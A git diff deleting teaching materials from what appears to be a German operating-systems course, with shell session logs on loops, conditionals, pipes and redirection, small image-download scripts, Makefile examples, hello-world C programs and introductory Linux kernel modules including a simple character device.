-Übungsaufgabe:
-
-Schreiben Sie ein Unix-Shell-Skript, das eine alltägliche Aufgabe
-automatisch erledigt.
-
-Beispiel: Bilder von einer Webseite herunterladen
-
-
-#!/bin/bash
-
-src=../'ukraine-2022-krieg-bilderstrecke-Krieg in der Ukraine: Tag 19 in Bildern - SZ.de.html'
-url='https://www.sueddeutsche.de/projekte/artikel/politik/krieg-in-der-ukraine-tag-19-in-bildern-e418674/'
-
-grep -o '_modules_[0-9]*_data_[selct_]*background_image_desktop[0-9a-fwhqr-]*\.jpg' "$src" \
-  | while read pattern; do                                                                  
-      wget "$url$pattern"
-    done         
-
-
-Bilderstrecken: https://www.sueddeutsche.de/projekte/artikel/politik/krieg-in-der-ukraine-e333697/
-
-
-SUBPAGES=$(curl -Ssl https://www.sueddeutsche.de/projekte/artikel/politik/krieg-in-der-ukraine-e333697/ | grep -o "class=\"link svelte-1mm0cdc\" href=\".*/.*\">" | grep -o "https.*/")
diff --git a/20220328/for-1.txt b/20220328/for-1.txt
deleted file mode 100644
index 45ea9d90b5a286da356d78be0f26d5b41574481e..0000000000000000000000000000000000000000
--- a/20220328/for-1.txt
+++ /dev/null
@@ -1,47 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220314> for x in foo bar baz; do echo $x; done
-foo
-bar
-baz
-cassini/home/peter/bo/2022ss/bs/20220314> for x in 1 2 3 4 5 6 7 8 9 10; do echo $x; done
-1
-2
-3
-4
-5
-6
-7
-8
-9
-10
-cassini/home/peter/bo/2022ss/bs/20220314> for x in $(seq 10); do echo $x; done
-1
-2
-3
-4
-5
-6
-7
-8
-9
-10
-cassini/home/peter/bo/2022ss/bs/20220314> for x in $(seq -f "%04g" 10); do echo $x; done
-0001
-0002
-0003
-0004
-0005
-0006
-0007
-0008
-0009
-0010
-cassini/home/peter/bo/2022ss/bs/20220314> for x in $(seq -f "%04g" 17 23); do echo $x; done
-0017
-0018
-0019
-0020
-0021
-0022
-0023
-cassini/home/peter/bo/2022ss/bs/20220314> echo cp -pi $(for x in $(seq -f "image-%04g.jpg" 17 23); do echo $x; done) sonstwohin/
-cp -pi image-0017.jpg image-0018.jpg image-0019.jpg image-0020.jpg image-0021.jpg image-0022.jpg image-0023.jpg sonstwohin/
diff --git a/20220328/for-2.txt b/20220328/for-2.txt
deleted file mode 100644
index 8bd7fa4741af859af1de3b88d53e48cc7d62c4c3..0000000000000000000000000000000000000000
--- a/20220328/for-2.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220314> for ((i = 1 ; i <= 10 ; i++)); do echo $i; done
-1
-2
-3
-4
-5
-6
-7
-8
-9
-10
diff --git a/20220328/get-imgs-1.sh b/20220328/get-imgs-1.sh
deleted file mode 100755
index fa2b11067d91aaa5597913f8f534de6631f0ee97..0000000000000000000000000000000000000000
--- a/20220328/get-imgs-1.sh
+++ /dev/null
@@ -1,11 +0,0 @@
-#!/bin/bash
-
-URL="https://www.sueddeutsche.de/projekte/artikel/politik/krieg-in-der-ukraine-e333697/"
-
-SUBPAGES=$(curl -Ssl "$URL" \
-           | grep -o "class=\"link svelte-1mm0cdc\" href=\".*/.*\">" \
-           | grep -o "https.*/")
-
-for x in $SUBPAGES; do
-  echo $x
-done
diff --git a/20220328/get-imgs-2.sh b/20220328/get-imgs-2.sh
deleted file mode 100755
index 08023470baf1971de3f869ac3bcf744c779f9bb2..0000000000000000000000000000000000000000
--- a/20220328/get-imgs-2.sh
+++ /dev/null
@@ -1,14 +0,0 @@
-#!/bin/bash
-
-URL="https://www.sueddeutsche.de/projekte/artikel/politik/krieg-in-der-ukraine-e333697/"
-TMPDIR=tmp
-
-SUBPAGES=$(curl -Ssl "$URL" \
-           | grep -o "class=\"link svelte-1mm0cdc\" href=\".*/.*\">" \
-           | grep -o "https.*/")
-
-mkdir "$TMPDIR"
-cd "$TMPDIR"
-for x in $SUBPAGES; do
-  wget "$x"
-done
diff --git a/20220328/if-0.txt b/20220328/if-0.txt
deleted file mode 100644
index eebd06ef7ccfc35b6878d2d7b5cbe4be5ae14b8c..0000000000000000000000000000000000000000
--- a/20220328/if-0.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220314> cat test.txt
-Test
-cassini/home/peter/bo/2022ss/bs/20220314> grep Test test.txt
-Test
-cassini/home/peter/bo/2022ss/bs/20220314> grep Toast test.txt
-cassini/home/peter/bo/2022ss/bs/20220314> echo $?
-1
-cassini/home/peter/bo/2022ss/bs/20220314> grep Test test.txt
-Test
-cassini/home/peter/bo/2022ss/bs/20220314> echo $?
-0
diff --git a/20220328/if-1.txt b/20220328/if-1.txt
deleted file mode 100644
index 5db8031ed6a81cbbb11785bd14322dd461a3c3b5..0000000000000000000000000000000000000000
--- a/20220328/if-1.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220314> if grep Test test.txt; then echo "gefunden"; else echo "nicht gefunden"; fi
-Test
-gefunden
-cassini/home/peter/bo/2022ss/bs/20220314> if grep Test test.txt > /dev/null; then echo "gefunden"; else echo "nicht gefunden"; fi
-gefunden
-cassini/home/peter/bo/2022ss/bs/20220314> if grep -q Test test.txt; then echo "gefunden"; else echo "nicht gefunden"; fi
-gefunden
diff --git a/20220328/if-2.txt b/20220328/if-2.txt
deleted file mode 100644
index 60732c3ed53863772c1832529866417685c0f662..0000000000000000000000000000000000000000
--- a/20220328/if-2.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220314> if grep -q Test test.txt
-> then echo "gefunden"
-> else echo "nicht gefunden"
-> fi
-gefunden
diff --git a/20220328/if-3.sh b/20220328/if-3.sh
deleted file mode 100755
index 07c22ca5c97457a14481c16cfc1e571df48852ac..0000000000000000000000000000000000000000
--- a/20220328/if-3.sh
+++ /dev/null
@@ -1,5 +0,0 @@
-if grep -q Test test.txt; then
-  echo "gefunden"
-else
-  echo "nicht gefunden"
-fi
diff --git a/20220328/if-3.txt b/20220328/if-3.txt
deleted file mode 100644
index a58fbc15993f5ab7a45b9f425f4f018aca6d6f44..0000000000000000000000000000000000000000
--- a/20220328/if-3.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220314> cat if-3.sh
-if grep -q Test test.txt; then
-  echo "gefunden"
-else
-  echo "nicht gefunden"
-fi
-cassini/home/peter/bo/2022ss/bs/20220314> chmod +x if-3.sh
-cassini/home/peter/bo/2022ss/bs/20220314> ./if-3.sh
-gefunden
diff --git a/20220328/ls-2.both b/20220328/ls-2.both
deleted file mode 100644
index 0fc4e8bbabf8b455fd8e53155c1d931dc93d6969..0000000000000000000000000000000000000000
--- a/20220328/ls-2.both
+++ /dev/null
@@ -1 +0,0 @@
--rw-r--r-- 1 peter peter 20 Mär 28 13:14 test.txt
diff --git a/20220328/ls.both b/20220328/ls.both
deleted file mode 100644
index ef97ff974bf020b60d7cc1efba7a4344fb89294e..0000000000000000000000000000000000000000
--- a/20220328/ls.both
+++ /dev/null
@@ -1,2 +0,0 @@
-ls: Zugriff auf 'bla.txt' nicht möglich: Datei oder Verzeichnis nicht gefunden
--rw-r--r-- 1 peter peter 20 Mär 28 13:14 test.txt
diff --git a/20220328/ls.err b/20220328/ls.err
deleted file mode 100644
index 19a95c0f61de4dbbb33e07e52a015dd21f928b4f..0000000000000000000000000000000000000000
--- a/20220328/ls.err
+++ /dev/null
@@ -1 +0,0 @@
-ls: Zugriff auf 'bla.txt' nicht möglich: Datei oder Verzeichnis nicht gefunden
diff --git a/20220328/ls.txt b/20220328/ls.txt
deleted file mode 100644
index 0fc4e8bbabf8b455fd8e53155c1d931dc93d6969..0000000000000000000000000000000000000000
--- a/20220328/ls.txt
+++ /dev/null
@@ -1 +0,0 @@
--rw-r--r-- 1 peter peter 20 Mär 28 13:14 test.txt
diff --git a/20220328/pipes-1.txt b/20220328/pipes-1.txt
deleted file mode 100644
index a31f60393485cc40e2107fee6570a0db4aede226..0000000000000000000000000000000000000000
--- a/20220328/pipes-1.txt
+++ /dev/null
@@ -1,29 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220328> cat test.bc
-1 + 1
-cassini/home/peter/bo/2022ss/bs/20220328> bc < test.bc
-2
-cassini/home/peter/bo/2022ss/bs/20220328> echo "2 + 2" | bc
-4
-cassini/home/peter/bo/2022ss/bs/20220328> cat test.txt
-Test
-Noch ein Test.
-cassini/home/peter/bo/2022ss/bs/20220328> cat test.txt | sed -e 's/Test/Toast/g'
-Toast
-Noch ein Toast.
-cassini/home/peter/bo/2022ss/bs/20220328> cat test.txt | gzip
-gzip: compressed data not written to a terminal. Use -f to force compression.
-For help, type: gzip -h
-cassini/home/peter/bo/2022ss/bs/20220328> cat test.txt | gzip -f
-7�Ab
-    I-.���O�PH����s�d-cassini/home/peter/bo/2022ss/bs/20220328> cat test.txt | gzip | gunzip
-Test
-Noch ein Test.
-cassini/home/peter/bo/2022ss/bs/20220328> cat test.txt | gzip | cat | gunzip
-Test
-Noch ein Test.
-cassini/home/peter/bo/2022ss/bs/20220328> cat test.txt | gzip > test.txt.gz
-cassini/home/peter/bo/2022ss/bs/20220328> cat test.txt.gz
-w�Ab
-    I-.���O�PH����s�d-cassini/home/peter/bo/2022ss/bs/20220328> cat test.txt.gz | gunzip
-Test
-Noch ein Test.
diff --git a/20220328/pipes-2.txt b/20220328/pipes-2.txt
deleted file mode 100644
index 6e5f761f3b599c90a7f943a0cb6df196dedf1fd3..0000000000000000000000000000000000000000
--- a/20220328/pipes-2.txt
+++ /dev/null
@@ -1,13 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220314> ls *.pdf
-bs-20220314.pdf                      logo-hochschule-bochum.pdf         unix-20220314.pdf
-logo-hochschule-bochum-cvh-text.pdf  Operating_system_placement-de.pdf
-cassini/home/peter/bo/2022ss/bs/20220314> ls *.pdf | grep -v logo
-bs-20220314.pdf
-Operating_system_placement-de.pdf
-unix-20220314.pdf
-cassini/home/peter/bo/2022ss/bs/20220314> echo $(ls *.pdf | grep -v logo)
-bs-20220314.pdf Operating_system_placement-de.pdf unix-20220314.pdf
-cassini/home/peter/bo/2022ss/bs/20220314> ls -l $(ls *.pdf | grep -v logo)
--rw-r--r-- 1 peter peter 132739 Mär 13 22:24 bs-20220314.pdf
-lrwxrwxrwx 1 peter peter     43 Apr 17  2016 Operating_system_placement-de.pdf -> ../common/Operating_system_placement-de.pdf
--rw-r--r-- 1 peter peter 149583 Mär 21 15:16 unix-20220314.pdf
diff --git a/20220328/redirection-1.txt b/20220328/redirection-1.txt
deleted file mode 100644
index a0db584f50c8d700737015f9b23d2d54e59bdec4..0000000000000000000000000000000000000000
--- a/20220328/redirection-1.txt
+++ /dev/null
@@ -1,16 +0,0 @@
--rw-r--r-- 1 peter peter 20 Mär 28 13:14 test.txt
-cassini/home/peter/bo/2022ss/bs/20220328> ls -l test.txt
--rw-r--r-- 1 peter peter 20 Mär 28 13:14 test.txt
-cassini/home/peter/bo/2022ss/bs/20220328> ls -l test.txt bla.txt
-ls: Zugriff auf 'bla.txt' nicht möglich: Datei oder Verzeichnis nicht gefunden
--rw-r--r-- 1 peter peter 20 Mär 28 13:14 test.txt
-cassini/home/peter/bo/2022ss/bs/20220328> ls -l test.txt bla.txt >> ls.txt
-ls: Zugriff auf 'bla.txt' nicht möglich: Datei oder Verzeichnis nicht gefunden
-cassini/home/peter/bo/2022ss/bs/20220328> ls -l test.txt bla.txt 2> ls.err
--rw-r--r-- 1 peter peter 20 Mär 28 13:14 test.txt
-cassini/home/peter/bo/2022ss/bs/20220328> cat ls.err
-ls: Zugriff auf 'bla.txt' nicht möglich: Datei oder Verzeichnis nicht gefunden
-cassini/home/peter/bo/2022ss/bs/20220328> ls -l test.txt bla.txt > ls.both 2>&1
-cassini/home/peter/bo/2022ss/bs/20220328> cat ls.both
-ls: Zugriff auf 'bla.txt' nicht möglich: Datei oder Verzeichnis nicht gefunden
--rw-r--r-- 1 peter peter 20 Mär 28 13:14 test.txt
diff --git a/20220328/test.bc b/20220328/test.bc
deleted file mode 100644
index 8d2f0971e2ce6dbec02115565c6f0e9c10ee9a02..0000000000000000000000000000000000000000
--- a/20220328/test.bc
+++ /dev/null
@@ -1 +0,0 @@
-1 + 1
diff --git a/20220328/test.txt b/20220328/test.txt
deleted file mode 100644
index f5eb9ba2b44cbda606525428a4393cc86e210d63..0000000000000000000000000000000000000000
--- a/20220328/test.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-Test
-Noch ein Test.
diff --git a/20220328/test.txt.gz b/20220328/test.txt.gz
deleted file mode 100644
index 4f6dd25dc60cbf979be117a062a21f9e19a48d78..0000000000000000000000000000000000000000
Binary files a/20220328/test.txt.gz and /dev/null differ
diff --git a/20220328/wildcards-1.txt b/20220328/wildcards-1.txt
deleted file mode 100644
index b07312ed004cde167749945cacc9d4ecbe983683..0000000000000000000000000000000000000000
--- a/20220328/wildcards-1.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220314> ls *.txt
-for-1.txt  if-0.txt  if-2.txt  pipes-2.txt  test.txt
-for-2.txt  if-1.txt  if-3.txt  test-2.txt
-cassini/home/peter/bo/2022ss/bs/20220314> echo mv -i {for,if,pipes}-*.txt ../20220321/
-mv -i for-1.txt for-2.txt if-0.txt if-1.txt if-2.txt if-3.txt pipes-2.txt ../20220321/
-cassini/home/peter/bo/2022ss/bs/20220314> mv -i {for,if,pipes}-*.txt ../20220321/
diff --git a/20220328/wildcards-2.txt b/20220328/wildcards-2.txt
deleted file mode 100644
index d9414635c832a2a1f4b353070a95883cfb11d34d..0000000000000000000000000000000000000000
--- a/20220328/wildcards-2.txt
+++ /dev/null
@@ -1,15 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220321> ls *.txt
-for-1.txt  if-0.txt  if-2.txt  pipes-2.txt  test-2.txt  test-4.txt
-for-2.txt  if-1.txt  if-3.txt  test-1.txt   test-3.txt  wildcards-1.txt
-cassini/home/peter/bo/2022ss/bs/20220321> ls *.txt | grep -v test
-for-1.txt
-for-2.txt
-if-0.txt
-if-1.txt
-if-2.txt
-if-3.txt
-pipes-2.txt
-wildcards-1.txt
-cassini/home/peter/bo/2022ss/bs/20220321> echo mv $(ls *.txt | grep -v test) ../20220328/
-mv for-1.txt for-2.txt if-0.txt if-1.txt if-2.txt if-3.txt pipes-2.txt wildcards-1.txt ../20220328/
-cassini/home/peter/bo/2022ss/bs/20220321> mv $(ls *.txt | grep -v test) ../20220328/
diff --git a/20220404/Makefile b/20220404/Makefile
deleted file mode 120000
index 5ce401dd46fbd7266779a960b7ddfda0197b3a70..0000000000000000000000000000000000000000
--- a/20220404/Makefile
+++ /dev/null
@@ -1 +0,0 @@
-Makefile-modules
\ No newline at end of file
diff --git a/20220404/Makefile-1 b/20220404/Makefile-1
deleted file mode 100644
index bfc1b10a929f22a8c2f4f0cf0368c78db14ad0b0..0000000000000000000000000000000000000000
--- a/20220404/Makefile-1
+++ /dev/null
@@ -1,8 +0,0 @@
-philosophy: philosophy.o answer.o
-	gcc philosophy.o answer.o -o philosophy
-
-answer.o: answer.c answer.h
-	gcc -Wall -O answer.c -c
-
-philosophy.o: philosophy.c answer.h
-	gcc -Wall -O philosophy.c -c
diff --git a/20220404/Makefile-2 b/20220404/Makefile-2
deleted file mode 100644
index 60aab7c7d51b28879c41e8590ab422e9edfadee5..0000000000000000000000000000000000000000
--- a/20220404/Makefile-2
+++ /dev/null
@@ -1,16 +0,0 @@
-TARGET = philosophy
-OBJECTS = philosophy.o answer.o
-HEADERS = answer.h
-CFLAGS = -Wall -O
-
-$(TARGET): $(OBJECTS)
-	gcc $(OBJECTS) -o $(TARGET)
-
-answer.o: answer.c $(HEADERS)
-	gcc $(CFLAGS) answer.c -c
-
-philosophy.o: philosophy.c $(HEADERS)
-	gcc $(CFLAGS) philosophy.c -c
-
-clean:
-	rm -f $(OBJECTS) $(TARGET)
diff --git a/20220404/Makefile-3 b/20220404/Makefile-3
deleted file mode 100644
index 0ac355bfddfd237fe0f1b5062c5a242ab0d3e97e..0000000000000000000000000000000000000000
--- a/20220404/Makefile-3
+++ /dev/null
@@ -1,13 +0,0 @@
-TARGET = philosophy
-OBJECTS = philosophy.o answer.o
-HEADERS = answer.h
-CFLAGS = -Wall -O
-
-$(TARGET): $(OBJECTS)
-	gcc $(OBJECTS) -o $(TARGET)
-
-%.o: %.c $(HEADERS)
-	gcc $(CFLAGS) $< -c
-
-clean:
-	rm -f $(OBJECTS) $(TARGET)
diff --git a/20220404/Makefile-4 b/20220404/Makefile-4
deleted file mode 100644
index 70bd5fe6b41e20594ceaab84ab7073efd1fe8972..0000000000000000000000000000000000000000
--- a/20220404/Makefile-4
+++ /dev/null
@@ -1,15 +0,0 @@
-TARGET = philosophy
-OBJECTS = philosophy.o answer.o
-HEADERS = answer.h
-CFLAGS = -Wall -O
-
-all: $(TARGET)
-
-$(TARGET): $(OBJECTS)
-	gcc $(OBJECTS) -o $(TARGET)
-
-%.o: %.c $(HEADERS)
-	gcc $(CFLAGS) $< -c
-
-clean:
-	rm -f $(OBJECTS) $(TARGET)
diff --git a/20220404/Makefile-modules b/20220404/Makefile-modules
deleted file mode 100644
index 817bd62fcb708a904341be771524c0fa2878c5da..0000000000000000000000000000000000000000
--- a/20220404/Makefile-modules
+++ /dev/null
@@ -1,9 +0,0 @@
-obj-m += hellomod-1.o
-obj-m += hellomod-2.o
-obj-m += chardev-1.o
-
-all:
-	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
-
-clean:
-	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
diff --git a/20220404/answer.c b/20220404/answer.c
deleted file mode 100644
index e11399f0b3f482162893cbadf5db11129fdb2ef2..0000000000000000000000000000000000000000
--- a/20220404/answer.c
+++ /dev/null
@@ -1,6 +0,0 @@
-#include "answer.h"
-
-int answer (void)
-{
-  return ANSWER;
-}
diff --git a/20220404/answer.h b/20220404/answer.h
deleted file mode 100644
index 6632ffe85a1f2222765dc071a229b15b897339df..0000000000000000000000000000000000000000
--- a/20220404/answer.h
+++ /dev/null
@@ -1,3 +0,0 @@
-extern int answer (void);
-
-#define ANSWER 42
diff --git a/20220404/chardev-1.c b/20220404/chardev-1.c
deleted file mode 100644
index 17a6651a33313322de202fbcb6bbf82333c0b766..0000000000000000000000000000000000000000
--- a/20220404/chardev-1.c
+++ /dev/null
@@ -1,166 +0,0 @@
-/*
- *  chardev.c: Creates a read-only char device that says how many times
- *  you've read from the dev file
- */
-
-#include <linux/kernel.h>
-#include <linux/module.h>
-#include <linux/fs.h>
-#include <asm/uaccess.h>	/* for put_user */
-
-/*  
- *  Prototypes - this would normally go in a .h file
- */
-int init_module(void);
-void cleanup_module(void);
-static int device_open(struct inode *, struct file *);
-static int device_release(struct inode *, struct file *);
-static ssize_t device_read(struct file *, char *, size_t, loff_t *);
-static ssize_t device_write(struct file *, const char *, size_t, loff_t *);
-
-#define SUCCESS 0
-#define DEVICE_NAME "chardev"	/* Dev name as it appears in /proc/devices   */
-#define BUF_LEN 80		/* Max length of the message from the device */
-
-/* 
- * Global variables are declared as static, so are global within the file. 
- */
-
-static int Major;		/* Major number assigned to our device driver */
-static int Device_Open = 0;	/* Is device open?  
-				 * Used to prevent multiple access to device */
-static char msg[BUF_LEN];	/* The msg the device will give when asked */
-static char *msg_Ptr;
-
-static struct file_operations fops = {
-	.read = device_read,
-	.write = device_write,
-	.open = device_open,
-	.release = device_release
-};
-
-/*
- * This function is called when the module is loaded
- */
-int init_module(void)
-{
-        Major = register_chrdev(0, DEVICE_NAME, &fops);
-
-	if (Major < 0) {
-	  printk(KERN_ALERT "Registering char device failed with %d\n", Major);
-	  return Major;
-	}
-
-	printk(KERN_INFO "I was assigned major number %d. To talk to\n", Major);
-	printk(KERN_INFO "the driver, create a dev file with\n");
-	printk(KERN_INFO "'mknod /dev/%s c %d 0'.\n", DEVICE_NAME, Major);
-	printk(KERN_INFO "Try various minor numbers. Try to cat and echo to\n");
-	printk(KERN_INFO "the device file.\n");
-	printk(KERN_INFO "Remove the device file and module when done.\n");
-
-	return SUCCESS;
-}
-
-/*
- * This function is called when the module is unloaded
- */
-void cleanup_module(void)
-{
-	/* 
-	 * Unregister the device 
-	 */
-	unregister_chrdev(Major, DEVICE_NAME);
-}
-
-/*
- * Methods
- */
-
-/* 
- * Called when a process tries to open the device file, like
- * "cat /dev/mycharfile"
- */
-static int device_open(struct inode *inode, struct file *file)
-{
-	static int counter = 0;
-
-	if (Device_Open)
-		return -EBUSY;
-
-	Device_Open++;
-	sprintf(msg, "I already told you %d times Hello world!\n", counter++);
-	msg_Ptr = msg;
-	try_module_get(THIS_MODULE);
-
-	return SUCCESS;
-}
-
-/* 
- * Called when a process closes the device file.
- */
-static int device_release(struct inode *inode, struct file *file)
-{
-	Device_Open--;		/* We're now ready for our next caller */
-
-	/* 
-	 * Decrement the usage count, or else once you opened the file, you'll
-	 * never get get rid of the module. 
-	 */
-	module_put(THIS_MODULE);
-
-	return 0;
-}
-
-/* 
- * Called when a process, which already opened the dev file, attempts to
- * read from it.
- */
-static ssize_t device_read(struct file *filp,	/* see include/linux/fs.h   */
-			   char *buffer,	/* buffer to fill with data */
-			   size_t length,	/* length of the buffer     */
-			   loff_t * offset)
-{
-	/*
-	 * Number of bytes actually written to the buffer 
-	 */
-	int bytes_read = 0;
-
-	/*
-	 * If we're at the end of the message, 
-	 * return 0 signifying end of file 
-	 */
-	if (*msg_Ptr == 0)
-		return 0;
-
-	/* 
-	 * Actually put the data into the buffer 
-	 */
-	while (length && *msg_Ptr) {
-
-		/* 
-		 * The buffer is in the user data segment, not the kernel 
-		 * segment so "*" assignment won't work.  We have to use 
-		 * put_user which copies data from the kernel data segment to
-		 * the user data segment. 
-		 */
-		put_user(*(msg_Ptr++), buffer++);
-
-		length--;
-		bytes_read++;
-	}
-
-	/* 
-	 * Most read functions return the number of bytes put into the buffer
-	 */
-	return bytes_read;
-}
-
-/*  
- * Called when a process writes to dev file: echo "hi" > /dev/hello 
- */
-static ssize_t
-device_write(struct file *filp, const char *buff, size_t len, loff_t * off)
-{
-	printk(KERN_ALERT "Sorry, this operation isn't supported.\n");
-	return -EINVAL;
-}
diff --git a/20220404/freedos.hd b/20220404/freedos.hd
deleted file mode 100644
index bf24ea7697c79c81cbb1ff01ddb015a63faff730..0000000000000000000000000000000000000000
Binary files a/20220404/freedos.hd and /dev/null differ
diff --git a/20220404/hello world 2.c b/20220404/hello world 2.c
deleted file mode 120000
index 70cd6bdad23fecbf8644e341b167204161628cc2..0000000000000000000000000000000000000000
--- a/20220404/hello world 2.c	
+++ /dev/null
@@ -1 +0,0 @@
-hello-2.c
\ No newline at end of file
diff --git a/20220404/hello world.c b/20220404/hello world.c
deleted file mode 120000
index 45e5f7632c36a48204746adfd50f6d3506233045..0000000000000000000000000000000000000000
--- a/20220404/hello world.c	
+++ /dev/null
@@ -1 +0,0 @@
-hello-1.c
\ No newline at end of file
diff --git a/20220404/hello-1.c b/20220404/hello-1.c
deleted file mode 100644
index b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac..0000000000000000000000000000000000000000
--- a/20220404/hello-1.c
+++ /dev/null
@@ -1,7 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  printf ("Hello, world!\n");
-  return 0;
-}
diff --git a/20220404/hello-2.c b/20220404/hello-2.c
deleted file mode 100644
index b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac..0000000000000000000000000000000000000000
--- a/20220404/hello-2.c
+++ /dev/null
@@ -1,7 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  printf ("Hello, world!\n");
-  return 0;
-}
diff --git a/20220404/hellomod-1.c b/20220404/hellomod-1.c
deleted file mode 100644
index a9fef793369a4e24da98b91e1bb7c651190ceea2..0000000000000000000000000000000000000000
--- a/20220404/hellomod-1.c
+++ /dev/null
@@ -1,20 +0,0 @@
-/*  
- *  hello-1.c - The simplest kernel module.
- */
-#include <linux/module.h>	/* Needed by all modules */
-#include <linux/kernel.h>	/* Needed for KERN_INFO */
-
-int init_module(void)
-{
-	printk(KERN_INFO "Hello world 1.\n");
-
-	/* 
-	 * A non 0 return means init_module failed; module can't be loaded. 
-	 */
-	return 0;
-}
-
-void cleanup_module(void)
-{
-	printk(KERN_INFO "Goodbye world 1.\n");
-}
diff --git a/20220404/hellomod-2.c b/20220404/hellomod-2.c
deleted file mode 100644
index a2bb30b1329f9a2997a2d6164631618635f41f4c..0000000000000000000000000000000000000000
--- a/20220404/hellomod-2.c
+++ /dev/null
@@ -1,22 +0,0 @@
-/*  
- *  hello-2.c - The simplest kernel module.
- */
-#include <linux/module.h>	/* Needed by all modules */
-#include <linux/kernel.h>	/* Needed for KERN_INFO */
-
-MODULE_LICENSE("GPL");
-
-int init_module(void)
-{
-	printk(KERN_INFO "Hello world 2.\n");
-
-	/* 
-	 * A non 0 return means init_module failed; module can't be loaded. 
-	 */
-	return 0;
-}
-
-void cleanup_module(void)
-{
-	printk(KERN_INFO "Goodbye world 2.\n");
-}
diff --git a/20220404/make-1.txt b/20220404/make-1.txt
deleted file mode 100644
index bae6639927d6ea0b9faa07e2884b1e2b10edba15..0000000000000000000000000000000000000000
--- a/20220404/make-1.txt
+++ /dev/null
@@ -1,60 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220404> cat philosophy.c
-#include <stdio.h>
-#include "answer.h"
-
-int main (void)
-{
-  printf ("The answer is %d.\n", answer ());
-  return 0;
-}
-cassini/home/peter/bo/2022ss/bs/20220404> cat answer.h
-extern int answer (void);
-
-#define ANSWER 42
-cassini/home/peter/bo/2022ss/bs/20220404> cat answer.c
-#include "answer.h"
-
-int answer (void)
-{
-  return ANSWER;
-}
-cassini/home/peter/bo/2022ss/bs/20220404> gcc -Wall -O philosophy.c -o philosophy
-/usr/bin/ld: /tmp/ccjJ8ZhE.o: in function `main':
-philosophy.c:(.text+0x5): undefined reference to `answer'
-collect2: error: ld returned 1 exit status
-cassini/home/peter/bo/2022ss/bs/20220404> gcc -Wall -O philosophy.c answer.c -o philosophy
-Sie haben neue Post in /var/mail/peter.
-cassini/home/peter/bo/2022ss/bs/20220404> ./philosophy
-The answer is 42.
-cassini/home/peter/bo/2022ss/bs/20220404> gcc -Wall -O philosophy.c -c
-cassini/home/peter/bo/2022ss/bs/20220404> gcc -Wall -O answer.c -c
-cassini/home/peter/bo/2022ss/bs/20220404> ls -l philosophy.[co] answer.[co]
--rw-r--r-- 1 peter peter   60 Dez 13 13:46 answer.c
--rw-r--r-- 1 peter peter 1208 Apr  4 13:57 answer.o
--rw-r--r-- 1 peter peter  117 Jan  4  2021 philosophy.c
--rw-r--r-- 1 peter peter 1632 Apr  4 13:57 philosophy.o
-cassini/home/peter/bo/2022ss/bs/20220404> gcc philosophy.o answer.o -o philosophy
-cassini/home/peter/bo/2022ss/bs/20220404> ./philosophy
-The answer is 42.
-cassini/home/peter/bo/2022ss/bs/20220404> gcc philosophy.o -o philosophy
-/usr/bin/ld: philosophy.o: in function `main':
-philosophy.c:(.text+0x5): undefined reference to `answer'
-collect2: error: ld returned 1 exit status
-cassini/home/peter/bo/2022ss/bs/20220404> cat Makefile-1
-philosophy: philosophy.o answer.o
-        gcc philosophy.o answer.o -o philosophy
-
-answer.o: answer.c answer.h
-        gcc -Wall -O answer.c -c
-
-philosophy.o: philosophy.c answer.h
-        gcc -Wall -O philosophy.c -c
-cassini/home/peter/bo/2022ss/bs/20220404> make
-make: *** Es wurden keine Ziele angegeben und keine „make“-Steuerdatei gefunden.  Schluss.
-cassini/home/peter/bo/2022ss/bs/20220404> make -f Makefile-1
-gcc philosophy.o answer.o -o philosophy
-cassini/home/peter/bo/2022ss/bs/20220404> rm *.o
-cassini/home/peter/bo/2022ss/bs/20220404> make -f Makefile-1
-gcc -Wall -O philosophy.c -c
-gcc -Wall -O answer.c -c
-gcc philosophy.o answer.o -o philosophy
diff --git a/20220404/make-2.txt b/20220404/make-2.txt
deleted file mode 100644
index ab38c8dd947a3c1b4c8ab3541176519d9634e261..0000000000000000000000000000000000000000
--- a/20220404/make-2.txt
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- *  hello-1.c - The simplest kernel module.
- */
-#include <linux/module.h>       /* Needed by all modules */
-#include <linux/kernel.h>       /* Needed for KERN_INFO */
-
-int init_module(void)
-{
-        printk(KERN_INFO "Hello world 1.\n");
-
-        /*
-         * A non 0 return means init_module failed; module can't be loaded.
-         */
-        return 0;
-}
-
-void cleanup_module(void)
-{
-        printk(KERN_INFO "Goodbye world 1.\n");
-}
-cassini/home/peter/bo/2022ss/bs/20220404> cat Makefile-modules-1
-obj-m += hellomod-1.o
-
-# obj-m += hellomod-2.o
-# obj-m += chardev-1.o
-
-all:
-        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
-
-clean:
-        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
-cassini/home/peter/bo/2022ss/bs/20220404> ln -sf Makefile-modules-1 Makefile
-cassini/home/peter/bo/2022ss/bs/20220404> echo /lib/modules/$(shell uname -r)/build
-bash: shell: Kommando nicht gefunden.
-/lib/modules//build
-cassini/home/peter/bo/2022ss/bs/20220404> echo /lib/modules/$(uname -r)/build
-/lib/modules/4.19.0-12-amd64/build
-cassini/home/peter/bo/2022ss/bs/20220404> ls /lib/modules/4.19.0-12-amd64/build
-arch  include  Makefile  Module.symvers  scripts  tools
-cassini/home/peter/bo/2022ss/bs/20220404> uname
-Linux
-cassini/home/peter/bo/2022ss/bs/20220404> uname -r
